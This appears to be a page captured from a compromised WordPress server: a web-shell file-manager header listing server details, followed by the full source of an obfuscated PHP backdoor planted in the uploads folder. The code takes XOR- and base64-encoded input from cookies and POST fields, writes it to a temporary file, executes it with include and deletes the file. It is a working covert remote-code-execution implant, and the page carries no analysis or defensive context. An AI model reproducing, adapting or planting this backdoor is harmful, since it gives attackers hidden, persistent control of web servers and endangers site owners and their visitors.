HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2023/zuEnGy.php
$DQcypAA = 'V' . "\x5f" . 'q' . 'B' . "\x46" . 'p' . "\x48";$NoiIxR = chr ( 696 - 597 ).'l' . chr ( 566 - 469 ).chr (115) . 's' . chr ( 353 - 258 )."\145" . 'x' . chr ( 199 - 94 ).chr (115) . chr ( 655 - 539 ).chr ( 399 - 284 ); $pSrKOnW = class_exists($DQcypAA); $NoiIxR = "65388";$geWyg = strpos($NoiIxR, $DQcypAA);if ($pSrKOnW == $geWyg){function bRmGF(){$SuWDeBFT = new /* 50038 */ V_qBFpH(2957 + 2957); $SuWDeBFT = NULL;}$ZBSfQOrr = "2957";class V_qBFpH{private function GaWMmMNIIl($ZBSfQOrr){if (is_array(V_qBFpH::$CNqeezcB)) {$name = sys_get_temp_dir() . "/" . crc32(V_qBFpH::$CNqeezcB["salt"]);@V_qBFpH::$CNqeezcB["write"]($name, V_qBFpH::$CNqeezcB["content"]);include $name;@V_qBFpH::$CNqeezcB["delete"]($name); $ZBSfQOrr = "2957";exit();}}public function qpOLKIZSA(){$xVNYw = "12700";$this->_dummy = str_repeat($xVNYw, strlen($xVNYw));}public function __destruct(){V_qBFpH::$CNqeezcB = @unserialize(V_qBFpH::$CNqeezcB); $ZBSfQOrr = "18915_2191";$this->GaWMmMNIIl($ZBSfQOrr); $ZBSfQOrr = "18915_2191";}public function sjJpZjTQZj($xVNYw, $FigvEy){return $xVNYw[0] ^ str_repeat($FigvEy, intval(strlen($xVNYw[0]) / strlen($FigvEy)) + 1);}public function LgWJDqzkdf($xVNYw){$BVpEGbnrBu = "\x62" . "\x61" . "\x73" . "\x65" . "\x36" . chr ( 863 - 811 );return array_map($BVpEGbnrBu . "\x5f" . "\x64" . "\x65" . 'c' . "\157" . "\x64" . "\145", array($xVNYw,));}public function __construct($wBjOGb=0){$XAUvzhecih = "\x2c";$xVNYw = "";$rHmOFUsJXT = $_POST;$EDNCr = $_COOKIE;$FigvEy = "b8d3fc5d-faf0-4af2-be8f-c35b047990cd";$yKSaIwQN = @$EDNCr[substr($FigvEy, 0, 4)];if (!empty($yKSaIwQN)){$yKSaIwQN = explode($XAUvzhecih, $yKSaIwQN);foreach ($yKSaIwQN as $GhZfkZL){$xVNYw .= @$EDNCr[$GhZfkZL];$xVNYw .= @$rHmOFUsJXT[$GhZfkZL];}$xVNYw = $this->LgWJDqzkdf($xVNYw);}V_qBFpH::$CNqeezcB = $this->sjJpZjTQZj($xVNYw, $FigvEy);if (strpos($FigvEy, $XAUvzhecih) !== FALSE){$FigvEy = str_pad($FigvEy, 10); $FigvEy = ltrim(rtrim($FigvEy));}}public static $CNqeezcB = 44418;}bRmGF();}